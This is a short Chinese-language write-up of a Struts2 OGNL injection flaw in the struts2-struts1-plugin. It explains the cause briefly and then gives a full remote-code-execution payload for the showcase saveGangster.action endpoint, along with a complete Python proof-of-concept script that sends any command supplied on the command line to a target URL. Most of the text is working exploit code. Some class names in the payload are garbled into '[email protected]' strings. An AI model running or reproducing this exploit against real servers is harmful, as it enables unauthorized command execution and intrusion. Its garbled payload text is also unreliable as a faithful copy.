漏洞分析
从官方的漏洞描述我们可以知道,这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,更可恶的是getText的输入内容还是攻击者可控的。
漏洞触发
该漏洞触发需要非默认插件 struts2-struts1-plugin(利用起来没有S2-045高效)
需要手动寻找程序中将客户端参数值添加入 action message 的点
漏洞验证
默认URI:/struts2-showcase/integration/saveGangster.action
框内插入代码:
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@[email protected])).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected][email protected]().getOutputStream()).(#[email protected]@getRuntime().exec('whoami')).(@[email protected](#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123
提交
完整脚本:
#!/usr/bin/env python
#coding:utf8
import sys
import requests
requests.packages.urllib3.disable_warnings()
def poccheck(url,cmd='whoami'):
result = False
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Content-Type':"application/x-www-form-urlencoded"
}
data="name=${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@[email protected])).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected]@getResponse().getOutputStream()).(#[email protected]@getRuntime().exec('%s')).(@[email protected](#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123" % str(cmd)
if 'integration' not in url:
url = url + "/struts2-showcase/integration/saveGangster.action"
try:
response = requests.post(url,data =data,headers=header,verify=False,allow_redirects = False)
if response.status_code == 200 and 'struts2-showcase' not in response.content:
result = response.content
except Exception as e:
print str(e)
pass
return result
if __name__ == '__main__':
if len(sys.argv) == 2:
print poccheck(sys.argv[1])
elif len(sys.argv) == 3:
print poccheck(sys.argv[1],sys.argv[2])
else:
print ("usage: %s http://www.baidu.com/vuln.action cmd" % sys.argv[0])
sys.exit(-1)